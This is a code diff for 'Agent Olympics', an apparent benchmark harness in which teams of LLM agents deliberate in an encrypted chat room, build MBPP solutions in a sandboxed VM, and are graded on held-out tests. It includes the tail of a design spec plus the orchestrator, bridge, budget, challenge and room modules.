bench-olympics.py score --run <run_dir> --profile balanced # re-rank, no re-run
bench-olympics.py medal --run <run_dir>
bench-olympics.py judge --run <run_dir> --mode skill --model claude-opus-4-8 [--batch]
```
Config carries: teams (§7), event slate (§8), budget, scoring profile (§9),
elicitation arms (§13), runtime/isolation tier (§12), judge mode (§10).
Mirror the run/score separation already proven in `bench/score.py`: results persist,
`score`/`medal` re-rank without re-running a single model.
---
## 15. Build milestones (with acceptance criteria)
- **M1 — Arena spine.** One team (2 members, same model) solves one MBPP problem
end-to-end: real room deliberation → driver `!task` → `PodmanRuntime` → public
tests → SUBMIT → hidden-test grade → transcript.json.
*Done when:* a full transcript replays and a deterministic score is produced.
- **M2 — Two teams, isolation, scoring.** Parallel rooms + VMs, composite score with
intervals, cost tracking, scoreboard. *Done when:* two teams race the same event and
a ranked result with CIs is emitted.
- **M3 — Events, roles, personas, topologies.** Event catalog (Sprint/Marathon/Relay/
Debugging/Review), role-based loop privileges, medal table. *Done when:* a 3-event
slate produces a medal table from config alone.
- **M4 — Judging + referee.** Deterministic quality + LLM-judge (in-session, then
skill) with bias mitigation and a gold-slice calibration report; safety/fair-play
referee live. *Done when:* judge↔human agreement is reported and penalties fire.
- **M5 — Product mode.** Real `AgentBridge` agents converse agent-to-agent (needs the
bridge greenlight); arena nudges turns. *Done when:* an event completes using real
product agents end-to-end.
- **M6 — Placebo experiment.** Factorial elicitation arms + novelty/diversity metrics.
*Done when:* an A/B run reports framing effect sizes with intervals.
---
## 16. Open questions / decisions needed
1. **Turn-taking in Arena mode:** strict round-robin vs. a lightweight "who speaks
next" router (star topology). Start round-robin (deterministic), add router in M3?
2. **Public/hidden split for MBPP:** how many asserts to reveal vs. hold out so
`public_tests` guide without leaking the full spec? (Proposal: reveal 1 example,
hold the rest.)
3. **Budget defaults:** rounds/tokens/wall-clock caps that keep an event under a few
minutes locally while leaving room to actually collaborate.
4. **Judge model pinning:** confirm the exact Opus id for the skill judge
(`claude-opus-4-8`) and whether batch judging runs via the Skill tool or a
separate headless session.
5. **Isolation tier:** stay on `podman --network=none` for local runs, or invest in
gVisor/microVM now for stronger guarantees and future multi-tenant use?
6. **Novelty metric:** AST-distance vs embedding-distance for solution diversity —
which is cheap and discriminating enough locally?
---
## References
**Local vault** (`~/coding/obsidian/research/`):
- `2026-06-07-multi-agent-orchestration-patterns.md` (read-vs-write, share full traces, topologies, 15× cost)
- `2026-06-09-eval-harnesses-benchmark-design.md` (discrimination, intervals, verifiable-first, judge de-biasing, held-out sets)
- `2026-06-07-agent-evaluation-and-observability.md` (outcome vs trajectory, pass^k, agent-as-judge, OTel GenAI semconv)
- `2026-06-09-agent-sandboxing-isolation.md` (container floor → gVisor → microVM; deny-by-default egress; disposable VMs)
- `2026-06-09-securing-multi-agent-systems.md`, `2026-06-16-shared-memory-in-multi-agent-systems.md`, `2026-06-02-llm-evals.md`, `2026-06-07-agent-reliability-guardrails-and-hitl.md` (siblings)
**Web (2026):**
- MultiAgentBench / MARBLE — collaboration+competition KPIs, topologies — https://arxiv.org/abs/2503.01935 · https://github.com/ulab-uiuc/MARBLE
- AgentCoder / AgileCoder — role specialization in coding multi-agent — (see MultiAgentBench survey refs)
- LLM-as-Judge best practices & bias mitigation (2026) — https://futureagi.com/blog/llm-as-judge-best-practices-2026 · https://futureagi.com/blog/evaluating-llm-judge-bias-mitigation-2026/
- Judging LLM-as-a-Judge (MT-Bench biases) — https://arxiv.org/abs/2306.05685
- Beyond pass@1 (reliability / pass^k) — https://arxiv.org/pdf/2603.29231
- OpenTelemetry GenAI agent spans — https://opentelemetry.io/docs/specs/semconv/gen-ai/gen-ai-agent-spans/
hh/scripts/bench/olympics/__init__.py
+9
View File
@@ -0,0 +1,9 @@
"""Agent Olympics — a hackathon-competition benchmark inside hack-house.
This package layers a fourth benchmark axis on top of ``bench/``: teams of LLM
agents deliberate in a real hack-house room, implement code in an isolated VM,
and are scored on correctness/speed/quality/collaboration. See SPEC.md for the
full design. M1 is the arena spine (one same-model team, one MBPP problem,
real-room/local-bus deliberation -> driver implement -> PodmanRuntime -> hidden
tests -> replayable transcript -> deterministic score).
"""
hh/scripts/bench/olympics/arena.py
+62
View File
@@ -0,0 +1,62 @@
"""Arena orchestrator — wire a team + challenge through the loop and persist.
This is the M1 entry the launcher calls: build the room substrate, the VM, and a
manifest-stamped transcript; run the phase machine; freeze the transcript; score
it deterministically. The run/score split mirrors ``bench/score.py`` — results
persist so ``score``/``replay`` never re-run a model.
"""
from __future__ import annotations
import time
from pathlib import Path
from . import comms, scoring, transcript as T
from .challenge import Challenge
from .loop import Budget, run_event
from .team import Team
from .vm import VM
def run_one(team: Team, challenge: Challenge, *, room_kind: str = "local",
runtime: str = "auto", budget: Budget | None = None,
profile: str = "balanced", seed: int = 0,
host: str = "http://127.0.0.1:11434",
out_dir: str = "/tmp/hh-olympics/runs",
room_kwargs: dict | None = None, progress=None) -> dict:
budget = budget or Budget()
member_names = [m.name for m in team.members]
room = comms.make_room(room_kind, member_names, **(room_kwargs or {}))
manifest = {
"models": team.models, "seed": seed, "topology": team.topology,
"framing": team.framing, "room_substrate": room.substrate,
"runtime": runtime, "host": host,
"budget": {"deliberate_rounds": budget.deliberate_rounds,
"implement_attempts": budget.implement_attempts,
"max_tokens": budget.max_tokens,
"wall_clock_s": budget.wall_clock_s},
"challenge_meta": challenge.meta, "profile": profile,
"created": time.strftime("%Y-%m-%dT%H:%M:%S"),
}
tx = T.Transcript(team.id, challenge.id, manifest)
vm = VM(challenge.lang, runtime_kind=runtime)
room.connect()
try:
outcome = run_event(team, challenge, room, vm, tx, budget,
host=host, seed=seed, progress=progress)
finally:
room.close()
run_dir = Path(out_dir) / f"{team.id}__{challenge.id}"
tx_path = run_dir / "transcript.json"
tx.save(tx_path)
score = scoring.score_event(outcome, profile=profile,
budget={"max_rounds": budget.max_rounds})
score["transcript"] = str(tx_path)
score["room_substrate"] = room.substrate
import json
(run_dir / "score.json").write_text(json.dumps(score, indent=2))
return score
hh/scripts/bench/olympics/bridge.py
+389
View File
@@ -0,0 +1,389 @@
"""Bridge mode — real chat-plan, then a real ``/ai <agent> !task`` build.
Where ``loop.py`` (direct mode) shortcuts the build through ``completion`` +
``vm.run``, this drives the *actual* product path end-to-end on a real encrypted
room, the way ``bench-sandbox.py`` does:
1. boot the relay, spawn a real ``AgentBridge`` agent (the builder), connect an
owner/referee client and a planner teammate client;
2. BRIEF + DELIBERATE happen as real chat frames — the planner proposes and the
real agent is asked (via the real ``/ai <agent>`` *chat* path) to confirm the
approach;
3. IMPLEMENT grants drive and issues ``/ai <agent> !<task>`` — the real agent
turns it into shell, clears the destructive guard, and injects ``_sbx:input``
keystrokes, which we capture off the wire;
4. GRADE materializes the captured commands, reads the produced source, and runs
it against the held-out hidden tests in the VM.
No ``cmd_chat`` code is modified — this only *uses* the tool. The reusable wire
primitives (Owner/grant/task/collect, execute, spawn_agent) are imported from
``bench-sandbox.py`` so the bridge path is byte-identical to the sandbox bench.
"""
from __future__ import annotations
import asyncio
import importlib
import json
import re
import shutil
import sys
import time
from pathlib import Path
import websockets
from . import infer, scoring, transcript as T
from .. import completion
from .challenge import Challenge
from .scoring import EventOutcome
from .team import Team
from .vm import VM
_SCRIPTS = Path(__file__).resolve().parents[2]
if str(_SCRIPTS) not in sys.path:
sys.path.insert(0, str(_SCRIPTS))
_sb = importlib.import_module("bench-sandbox") # reuse proven wire primitives
_FN_RE = re.compile(r"assert\s+([A-Za-z_]\w*)\s*\(")
def _fn_name(public_assert: str) -> str:
m = _FN_RE.search(public_assert or "")
return m.group(1) if m else "solve"
async def _collect_chat(owner, ws, agent: str, deadline: float,
quiet: float = 3.0) -> str:
"""Read the agent's plain chat reply (not a sandbox outcome) until a quiet
gap. Skips control/`_sbx` frames and the audit line."""
parts: list[str] = []
while time.time() < deadline:
try:
raw = await asyncio.wait_for(ws.recv(),
timeout=min(quiet, deadline - time.time()))
except asyncio.TimeoutError:
if parts:
break
continue
except websockets.ConnectionClosed:
break
try:
data = json.loads(raw)
except json.JSONDecodeError:
continue
if data.get("type") != "message":
continue
dec = owner.decrypt_message(data.get("data", {}))
if dec.get("username") != agent:
continue
text = _sb._strip_think(dec.get("text", ""))
if text.startswith('{"_'): # control / sbx frame
continue
parts.append(text)
return "\n".join(parts).strip()
async def _agent_alive(owner, ws, agent: str, window: float = 1.5) -> bool:
"""Fast-fail liveness probe. The relay broadcasts a `user_left` + fresh
`roster` whenever a client drops (e.g. the agent killed by a 1011 keepalive
timeout). Drain whatever is already queued on the owner ws for a short
window; if a roster snapshot arrives without the agent, it's gone — so the
caller can abort instead of waiting out the full step deadline."""
deadline = time.time() + window
alive = True
while time.time() < deadline:
try:
raw = await asyncio.wait_for(ws.recv(),
timeout=max(0.05, deadline - time.time()))
except (asyncio.TimeoutError, websockets.ConnectionClosed):
break
try:
data = json.loads(raw)
except json.JSONDecodeError:
continue
if data.get("type") == "roster":
names = {u.get("username") for u in data.get("users", [])}
alive = agent in names
return alive
def _find_source(cwd: str | None, fn: str) -> str:
"""Read the python source the agent built. Prefer solution.py, else any .py
that defines the target function, else the largest .py."""
if not cwd:
return ""
pys = list(Path(cwd).rglob("*.py"))
if not pys:
return ""
named = [p for p in pys if p.name == "solution.py"]
if named:
return named[0].read_text()
for p in pys:
try:
if f"def {fn}" in p.read_text():
return p.read_text()
except Exception: # noqa: BLE001
continue
return max(pys, key=lambda p: p.stat().st_size).read_text()
def run_bridge_event(team: Team, challenge: Challenge, *,
host: str = "127.0.0.1", port: int = 4699,
password: str = "olympics-pass",
ollama: str = "http://127.0.0.1:11434",
code_model: str | None = None,
out_dir: str = "/tmp/hh-olympics/runs",
log_dir: str = "/tmp/hh-olympics",
step_timeout: float = 180.0, seed: int = 0,
profile: str = "balanced", agent_chat_confirm: bool = False,
progress=None) -> dict:
"""Run one real chat-plan -> !task-build event. Returns the score dict."""
py = sys.executable
driver = team.driver()
planner = next((m for m in team.members if m is not driver), driver)
build_model = code_model or driver.model
agent_name = driver.model # the agent joins under its model tag
fn = _fn_name(challenge.public_tests[0] if challenge.public_tests else "")
manifest = {"models": team.models, "seed": seed, "topology": team.topology,
"framing": team.framing, "room_substrate": "real-bridge",
"build_model": build_model, "agent": agent_name, "fn": fn,
"profile": profile, "challenge_meta": challenge.meta,
"created": time.strftime("%Y-%m-%dT%H:%M:%S")}
tx = T.Transcript(team.id, challenge.id, manifest)
vm = VM(challenge.lang)
Path(log_dir).mkdir(parents=True, exist_ok=True)
def emit(p):
if progress:
progress(p)
# ── boot relay + spawn the real agent ────────────────────────────────
srv_log = open(Path(log_dir) / f"bridge-server-{port}.log", "w")
srv = _sb.subprocess.Popen(
[py, "cmd_chat.py", "serve", host, str(port),
"--password", password, "--no-tls"],
cwd=str(_sb.REPO), stdout=srv_log, stderr=_sb.subprocess.STDOUT)
agent = None
alog = None
tokens = {"in": 0, "out": 0}
penalties: list[dict] = []
t0 = time.time()
try:
if not _sb._wait_port(host, port, time.time() + 30):
raise RuntimeError("relay never bound")
emit("server up")
alog = open(Path(log_dir) / f"bridge-agent-{port}.log", "w")
agent = _sb.spawn_agent(py, host, port, password, agent_name,
build_model, alog)
emit(f"agent '{agent_name}' spawned (code-model={build_model})")
outcome = asyncio.run(_drive(
tx, team, challenge, planner, driver, agent_name, fn,
host, port, password, ollama, step_timeout, vm, tokens,
penalties, agent_chat_confirm, build_model, emit))
finally:
if agent is not None:
agent.terminate()
try:
agent.wait(timeout=10)
except _sb.subprocess.TimeoutExpired:
agent.kill()
if alog:
alog.close()
srv.terminate()
try:
srv.wait(timeout=10)
except _sb.subprocess.TimeoutExpired:
srv.kill()
srv_log.close()
outcome.wall_clock_s = time.time() - t0
run_dir = Path(out_dir) / f"{team.id}__{challenge.id}__bridge"
tx_path = run_dir / "transcript.json"
tx.save(tx_path)
score = scoring.score_event(outcome, profile=profile, budget={"max_rounds": 1})
score["transcript"] = str(tx_path)
score["room_substrate"] = "real-bridge"
(run_dir / "score.json").write_text(json.dumps(score, indent=2))
return score
async def _drive(tx, team, challenge, planner, driver, agent_name, fn,
host, port, password, ollama, step_to, vm, tokens,
penalties, agent_chat_confirm, build_model, emit) -> EventOutcome:
owner = _sb.Owner(host, port, password)
owner.srp_authenticate()
# a planner teammate client (real chat voice alongside the real agent)
from cmd_chat.client.client import Client # noqa: E402
mate = Client(host, port, username=planner.name, password=password, no_tls=True)
mate.srp_authenticate()
owner_url = f"{owner.ws_url}/ws/chat?user_id={owner.user_id}&ws_token={owner.ws_token}"
mate_url = f"{mate.ws_url}/ws/chat?user_id={mate.user_id}&ws_token={mate.ws_token}"
public_passed = False
submitted = False
correct = False
completion_src = ""
defect_class: str | None = None
model_baseline: bool | None = None
async with websockets.connect(owner_url) as ws, \
websockets.connect(mate_url) as mws:
if not await owner.wait_for_agent(ws, agent_name, time.time() + step_to):
penalties.append({"kind": "agent_offline", "detail": agent_name})
return EventOutcome(team.id, challenge.id, False, False, 0, 0.0,
tokens, False, None, penalties)
async def mate_send(text):
await mws.send(mate.room_fernet.encrypt(text.encode()).decode())
# ── BRIEF ────────────────────────────────────────────────────────
tx.phase_change("BRIEF")
brief = challenge.brief()
await owner._send(ws, brief)
tx.add(T.KIND_MESSAGE, "BRIEF", "referee", {"text": brief}, role="referee")
emit("brief posted")
# ── DELIBERATE: planner proposes (real chat), agent confirms (real
# /ai chat path) ────────────────────────────────────────────────
tx.phase_change("DELIBERATE")
# blocking inference must run off the event loop, else the websocket
# keepalive can't answer the server's ping and the room drops us (1011).
plan_msg = await asyncio.to_thread(
infer.chat,
planner.model, planner.system_prompt(),
[{"role": "user", "content":
f"{brief}\n\nPropose, in 2-3 short lines, the approach and the "
f"exact function signature (name it {fn}). End with PLAN-LOCKED."}],
host=ollama)
tokens["in"] += plan_msg.tokens.get("in", 0)
tokens["out"] += plan_msg.tokens.get("out", 0)
ptext = plan_msg.text if plan_msg.ok else f"[infer error: {plan_msg.error}]"
await mate_send(ptext)
tx.add(T.KIND_MESSAGE, "DELIBERATE", planner.name,
{"text": ptext}, role=planner.role, model=planner.model)
emit("planner proposed")
# Optionally ask the REAL agent to weigh in via the real /ai *chat* path.
# HARNESS FINDING (default off): the agent's streaming chat path
# (_answer -> _stream_reply -> OllamaProvider.stream) starves its own
# asyncio loop past the websockets 20s keepalive window under local CPU
# inference, so the relay drops the agent with `1011 keepalive ping
# timeout` and the build never happens. The non-streaming `!task` path
# (_run_in_sandbox -> to_thread(complete)) does NOT have this defect, so
# by default we keep planning to real planner room-frames and let the
# agent's only inference be the robust `!task` build below.
if agent_chat_confirm:
await owner._send(
ws, f"/ai {agent_name} Teammate proposed: {ptext[:300]} . In one "
f"line, confirm the function name {fn} and the core idea.")
agent_reply = await _collect_chat(owner, ws, agent_name,
time.time() + step_to)
if not await _agent_alive(owner, ws, agent_name):
penalties.append({"kind": "agent_dropped",
"detail": "streaming /ai chat keepalive timeout"})
tx.add(T.KIND_MESSAGE, "DELIBERATE", agent_name,
{"text": agent_reply or "(no chat reply)"}, role="builder",
model=agent_name)
emit("agent chat reply captured")
else:
tx.add(T.KIND_MESSAGE, "DELIBERATE", "referee",
{"text": "agent /ai chat-confirm skipped (streaming chat path "
"drops the agent via 1011 keepalive timeout under CPU "
"inference); building via the robust !task path",
"note": "harness-workaround"}, role="referee")
emit("agent chat-confirm skipped (streaming-path keepalive bug)")
# ── IMPLEMENT: real /ai !task build ───────────────────────────────
await owner.grant(ws, agent_name)
await asyncio.sleep(0.6)
tx.acl("IMPLEMENT", {"_perm": "acl", "drivers": [agent_name]})
tx.phase_change("IMPLEMENT", note=f"driver={agent_name}")
example = challenge.public_tests[0] if challenge.public_tests else ""
task = (f"Create a file named solution.py that defines a python function "
f"named {fn} solving this: {challenge.text.strip()} "
f"It must satisfy: {example} . "
f"Write only the function definition in solution.py — no tests, "
f"no example calls, no printing.")
await owner.task(ws, agent_name, task)
res = await owner.collect(ws, agent_name, time.time() + step_to)
tx.tool("IMPLEMENT", agent_name,
{"label": "sbx-build", "outcome": res["outcome"],
"sbx_frames": res["sbx"], "commands": res["commands"]},
role="builder")
emit(f"build outcome={res['outcome']} sbx={res['sbx']} "
f"cmds={len(res['commands'])}")
if res["outcome"] == "destructive_gated":
tx.guard("IMPLEMENT", agent_name, {"gated": res["message"][:80]})
penalties.append({"kind": "destructive", "detail": "build gated"})
# ── GRADE: materialize captured cmds, read source, run hidden ─────
if res["commands"]:
ex = await asyncio.to_thread(_sb.execute, res["commands"], 30.0)
src = _find_source(ex.get("cwd"), fn)
tx.tool("GRADE", "referee",
{"label": "materialize", "ran": ex["ran"],
"skipped": ex["skipped"], "found_source": bool(src),
"out": (ex["out"] or "")[-300:]})
if src:
completion_src = src
# Phase 3a — does the as-injected source even compile? A syntax/
# indentation failure here is the product keystroke path mangling
# the code (e.g. _extract_commands stripping heredoc indentation),
# not a model error. Attribute it so a matrix can separate them.
compiles = True
try:
compile(src, "<sbx>", "exec")
except (SyntaxError, IndentationError) as e:
compiles = False
defect_class = f"product-path-defect:{type(e).__name__}"
pub = await asyncio.to_thread(
vm.run, challenge.public_program(src), 30.0, label="public")
public_passed = pub.ok
tx.tool("TEST", "referee",
{"label": "public", "rc": pub.rc, "ok": pub.ok,
"out": pub.out[-300:]})
hid = await asyncio.to_thread(
vm.run, challenge.hidden_program(src), 30.0,
label="hidden-grade")
correct = hid.ok
tx.tool("SUBMIT", "referee",
{"label": "hidden-grade", "rc": hid.rc, "ok": hid.ok,
"out": hid.out[-300:]})
if not correct and not compiles:
penalties.append({"kind": "product_path_defect",
"detail": defect_class})
if ex.get("cwd"):
shutil.rmtree(ex["cwd"], ignore_errors=True)
submitted = bool(completion_src)
# Phase 3b — control: the build model's *true* coding ability via the raw
# completion path (direct mode, no keystroke stripping). The delta between
# this and `correct` above quantifies exactly what the product path costs.
ctrl = await asyncio.to_thread(
completion.complete, build_model, challenge.gen_prompt(),
challenge.stop_tokens(), host=ollama, timeout=180.0)
if ctrl.ok and ctrl.text.strip():
base = await asyncio.to_thread(
vm.run, challenge.hidden_program(ctrl.text), 30.0,
label="model-baseline")
model_baseline = base.ok
tx.tool("GRADE", "referee",
{"label": "model-baseline", "ok": base.ok, "rc": base.rc,
"model": build_model, "out": base.out[-300:]})
emit(f"model-baseline (direct gen) correct={base.ok}")
await owner.revoke(ws)
tx.add(T.KIND_TOOL, "SUBMIT", "referee",
{"label": "artifact", **vm.freeze()})
rtg = 1 if public_passed else None
return EventOutcome(team.id, challenge.id, submitted, correct,
rounds=1, wall_clock_s=0.0, tokens=tokens,
public_passed=public_passed, rounds_to_green=rtg,
penalties=penalties, defect_class=defect_class,
model_baseline_correct=model_baseline)
hh/scripts/bench/olympics/budget.py
+54
View File
@@ -0,0 +1,54 @@
"""Model-aware wall-clock budgeting.
CPU inference time is U-shaped in model size: tiny models are slow because they
*over-generate* (rambling completions that hit num_predict every call) and retry
more, while big models are slow *per token* (more parameters). 3-4B is the sweet
spot. Reasoning models (r1/qwq/o1) add a long <think> preamble on top.
We scale only the *wall-clock* budget — never the implement-attempt count — so
the correctness and speed axes stay comparable across model sizes (attempts feed
``scoring._speed_score``'s cap; changing them per model would change what the
benchmark measures). Mirrors ``bench-sandbox``'s reasoning-model 3x rule.
"""
from __future__ import annotations
import re
# Same tags bench-sandbox uses, so the whole suite treats reasoning models alike.
_REASONING_TAGS = ("r1", "qwq", "reason", "think", "o1")
_PARAM_RE = re.compile(r"(\d+(?:\.\d+)?)\s*b\b", re.IGNORECASE)
def _is_reasoning(model: str | None) -> bool:
return bool(model) and any(t in model.lower() for t in _REASONING_TAGS)
def _param_b(model: str | None) -> float | None:
"""Best-effort parameter count in billions parsed from the tag (e.g.
``qwen2.5-coder:1.5b`` -> 1.5). Returns None when the tag carries no size."""
if not model:
return None
m = _PARAM_RE.search(model)
return float(m.group(1)) if m else None
def budget_scale(model: str | None) -> float:
"""Multiplier applied to the base wall-clock budget for ``model``.
Reasoning dominates (it stacks a think-preamble on whatever size it is).
Otherwise the U-shaped size curve applies; unknown sizes get the 1.0
baseline. Defaults are first-guess and meant to be retuned from the ledger's
recorded ``wall_clock_s`` vs ``wall_clock_budget``."""
if _is_reasoning(model):
return 3.0
b = _param_b(model)
if b is None:
return 1.0
if b <= 1.5:
return 1.5 # over-generation + retries
if b <= 4:
return 1.0 # sweet spot
if b < 13:
return 1.5 # per-token CPU latency (7b-class)
return 2.0 # large models, more so
hh/scripts/bench/olympics/challenge.py
+188
View File
@@ -0,0 +1,188 @@
"""Challenge adapter — MBPP bootstrap with a public/hidden test split.
The arena consumes a ``Challenge``: a brief the referee posts to the room, a
*public* test the team may run during TEST, and a *hidden* test held out for
SUBMIT grading (so teams can't teach to the test — SPEC §8/§10).
M1 implements the MBPP-Python adapter only (the spine; multi-language MultiPL-E
splits arrive in M3). It reuses ``bench/datasets.py`` for rows and
``bench/langs.py`` for the execution recipe; the per-assert public/hidden split
and prompt synthesis live here.
Split policy (SPEC §16 decision): reveal exactly ONE assert from ``test_list``
as the public example; hold the remainder as hidden. If a problem ships only one
assert, that single assert is both the public guide and the hidden gate.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Callable
from .. import datasets
from ..langs import Lang, resolve
_MBPP_PY_STOP = ["\nassert", "\nprint(", "\n# Test", "\nif __name__", '\n"""']
@dataclass
class Challenge:
id: str
language: str
lang: Lang
text: str # natural-language task
public_tests: list[str] # asserts revealed to the team
hidden_tests: list[str] # asserts held out for grading
setup: str = "" # test_setup_code, prepended to programs
reference: str = "" # canonical solution (audit / novelty later)
meta: dict = field(default_factory=dict)
# ── MultiPL-E continuation mode (M3) ──────────────────────────────────
# When ``prompt_prefix`` is set the challenge is *continuation*-style (a
# runnable function prefix the model completes), not the MBPP-Python
# description+asserts style. MultiPL-E ships one ``tests`` block per row with
# no per-assert structure, so there is no public/hidden split: the program is
# ``prefix + completion + tests`` (via ``_assemble_fn``) for both public and
# hidden grading. ``public_tests``/``hidden_tests`` stay empty in this mode.
prompt_prefix: str = "" # runnable function prefix (MultiPL-E `prompt`)
tests_block: str = "" # the single MultiPL-E `tests` block (audit)
stop: list[str] | None = None # per-row stop tokens (MultiPL-E)
_assemble_fn: Callable[[str, str, dict], str] | None = None
_row: dict = field(default_factory=dict)
@property
def _continuation(self) -> bool:
return bool(self.prompt_prefix)
# ── what the room sees ────────────────────────────────────────────────
def brief(self) -> str:
if self._continuation:
return (
f"CHALLENGE {self.id} ({self.language}). Complete this "
f"{self.language} function so the hidden tests pass:\n"
f"{self.prompt_prefix.rstrip()}\n"
f"Deliver one self-contained {self.language} solution that "
f"continues the prefix above. Hidden tests grade it at SUBMIT."
)
example = self.public_tests[0] if self.public_tests else ""
return (
f"CHALLENGE {self.id} ({self.language}). Implement a solution to:\n"
f" {self.text.strip()}\n"
f"Example test that must pass:\n {example}\n"
f"Deliver one self-contained {self.language} solution. "
f"Hidden tests will grade it at SUBMIT."
)
# ── what the implementer model is asked to continue (raw, no hidden) ───
def gen_prompt(self) -> str:
if self._continuation:
return self.prompt_prefix
asserts = "\n".join(self.public_tests)
return f'"""\n{self.text.strip()}\n\n{asserts}\n"""\n'
def stop_tokens(self) -> list[str]:
if self.stop is not None:
return self.stop
return _MBPP_PY_STOP
# ── assemble a runnable program for a given test set ──────────────────
def _assemble(self, completion: str, asserts: list[str]) -> str:
body = "\n".join(asserts)
return f"{self.setup}\n{completion}\n{body}\n"
def public_program(self, completion: str) -> str:
if self._continuation:
return self._assemble_fn(self.prompt_prefix, completion, self._row)
return self._assemble(completion, self.public_tests)
def hidden_program(self, completion: str) -> str:
if self._continuation:
# single tests block — public == hidden for MultiPL-E.
return self._assemble_fn(self.prompt_prefix, completion, self._row)
# grade on the full spec (public example + held-out asserts) so a
# solution that only satisfies the revealed example still fails.
return self._assemble(completion, self.public_tests + self.hidden_tests)
def _split(test_list: list[str]) -> tuple[list[str], list[str]]:
if not test_list:
return [], []
if len(test_list) == 1:
return [test_list[0]], [test_list[0]]
return [test_list[0]], test_list[1:]
def _doc_line(prompt: str) -> str:
"""Best-effort one-liner from a MultiPL-E prompt's leading comment block."""
for raw in prompt.splitlines():
s = raw.lstrip("#/ \t").strip()
if s and not s.startswith("!") and "(" not in s:
return s
return prompt.strip().splitlines()[0] if prompt.strip() else ""
def _mbpp_task_id(name: str) -> int | None:
# MultiPL-E mbpp names look like "mbpp_3_is_not_prime".
parts = name.split("_")
if len(parts) >= 2 and parts[0] == "mbpp" and parts[1].isdigit():
return int(parts[1])
return None
def load_multipl_e(task_id: int | None = None, *, index: int = 0,
language: str = "javascript",
suite: str = "mbpp") -> Challenge:
"""Build one MultiPL-E continuation challenge for a non-Python language.
Reuses ``suites.binding`` for the (suite, language) format recipe. Pick by
embedded MBPP ``task_id`` (e.g. ``mbpp_11_...``) if given, else by ``index``
into the cached split. The row's single ``tests`` block grades both public
and hidden (MultiPL-E has no per-assert split — see ``Challenge``)."""
from ..suites import binding as _binding
lang = resolve(language)
b = _binding(suite, language)
rows = datasets.load(b.dataset, b.config, split="test")
if task_id is not None:
row = next((r for r in rows
if _mbpp_task_id(r.get("name", "")) == task_id), None)
if row is None:
raise KeyError(f"{suite} task_id {task_id} not in {b.config} split")
else:
row = rows[index]
name = row.get("name", f"{suite}-{lang.id}-{index}")
tid = _mbpp_task_id(name)
prompt = b.build_prompt(row)
return Challenge(
id=f"{suite}-{lang.id}-{tid if tid is not None else index}",
language=lang.id, lang=lang, text=_doc_line(prompt),
public_tests=[], hidden_tests=[],
reference=row.get("original", "") or "",
prompt_prefix=prompt, tests_block=row.get("tests", "") or "",
stop=b.stop_tokens(row), _assemble_fn=b.assemble, _row=row,
meta={"name": name, "suite": suite, "config": b.config,
"task_id": tid})
def load_mbpp(task_id: int | None = None, *, index: int = 0,
language: str = "python") -> Challenge:
"""Build one MBPP challenge. Pick by ``task_id`` if given, else by ``index``
into the cached test split. Non-Python languages route to the MultiPL-E
continuation adapter (``load_multipl_e``)."""
if resolve(language).id != "python":
return load_multipl_e(task_id, index=index, language=language,
suite="mbpp")
lang = resolve(language)
rows = datasets.load("google-research-datasets/mbpp", "full")
if task_id is not None:
row = next((r for r in rows if r.get("task_id") == task_id), None)
if row is None:
raise KeyError(f"MBPP task_id {task_id} not in cached split")
else:
row = rows[index]
public, hidden = _split(row.get("test_list", []))
tid = row.get("task_id", index)
return Challenge(
id=f"mbpp-{tid}", language=lang.id, lang=lang,
text=row.get("text", ""), public_tests=public, hidden_tests=hidden,
setup=row.get("test_setup_code", "") or "",
reference=row.get("code", ""),
meta={"task_id": tid, "n_tests": len(row.get("test_list", []))})
hh/scripts/bench/olympics/comms.py
+242
View File
@@ -0,0 +1,242 @@
"""The room is the bus (SPEC pillar #1).
Two interchangeable substrates implement the same synchronous ``Room`` facade so
``loop.py`` never knows which it is talking to (mirroring how ``runtime.py`` has
Podman/Local):
• RealRoom — boots the hack-house relay, connects one authenticated client per
member plus a referee/recorder client, and posts *real* end-to-end-encrypted
frames. Every utterance round-trips through the zero-knowledge server and is
observed off the wire by the referee. This is the project thesis: team
deliberation flows through a real encrypted room, not a simulated channel.
• LocalBus — an in-memory echo bus with the identical facade. No server, no
flakiness; used as the default for deterministic local runs and CI. It
records the same transcript a RealRoom would.
Both are arena-mode: the orchestrator drives inference and *posts* results into
the room. Neither edits ``cmd_chat`` — RealRoom only uses the public Client.
"""
from __future__ import annotations
import asyncio
import json
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path
REPO = Path(__file__).resolve().parents[4]
class Delivery:
"""Result of a post: did the frame round-trip through the substrate?"""
__slots__ = ("delivered", "substrate")
def __init__(self, delivered: bool, substrate: str):
self.delivered = delivered
self.substrate = substrate
def __repr__(self):
return f"Delivery(delivered={self.delivered}, substrate={self.substrate})"
# ── in-memory substrate ────────────────────────────────────────────────────
class LocalBus:
"""Zero-dependency echo bus. Same facade as RealRoom."""
substrate = "local"
def __init__(self):
self.log: list[dict] = []
def connect(self) -> None:
pass
def post(self, actor: str, text: str) -> Delivery:
self.log.append({"actor": actor, "text": text, "ts": time.time()})
return Delivery(True, self.substrate)
def brief(self, text: str) -> Delivery:
return self.post("referee", text)
def acl(self, payload: dict) -> Delivery:
self.log.append({"actor": "referee", "acl": payload, "ts": time.time()})
return Delivery(True, self.substrate)
def close(self) -> None:
pass
# ── real encrypted-room substrate ──────────────────────────────────────────
def _port_open(host: str, port: int, timeout: float = 0.5) -> bool:
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except OSError:
return False
class RealRoom:
"""Boots the relay and connects N member clients + a referee recorder."""
substrate = "real"
def __init__(self, member_names: list[str], *, host: str = "127.0.0.1",
port: int = 4677, password: str = "olympics-pass",
boot_server: bool = True, quiet: float = 1.2,
log_dir: str = "/tmp/hh-olympics"):
self.member_names = member_names
self.host = host
self.port = port
self.password = password
self.boot_server = boot_server
self.quiet = quiet
self.log_dir = Path(log_dir)
self._srv: subprocess.Popen | None = None
self._srv_log = None
self._loop: asyncio.AbstractEventLoop | None = None
self._thread: threading.Thread | None = None
self._clients: dict[str, object] = {} # name -> Client
self._ws: dict[str, object] = {} # name -> websocket
self._referee = "referee"
# -- lifecycle ----------------------------------------------------------
def connect(self) -> None:
if str(REPO) not in sys.path:
sys.path.insert(0, str(REPO))
from cmd_chat.client.client import Client # noqa: E402
if self.boot_server:
self._spawn_server()
self._loop = asyncio.new_event_loop()
names = [*self.member_names, self._referee]
for name in names:
c = Client(self.host, self.port, username=name,
password=self.password, no_tls=True)
c.srp_authenticate()
self._clients[name] = c
# Run the loop continuously on a background thread. The orchestrator does
# long blocking inference between posts; if the loop only ran during
# run_until_complete(post) the websockets reader couldn't answer the
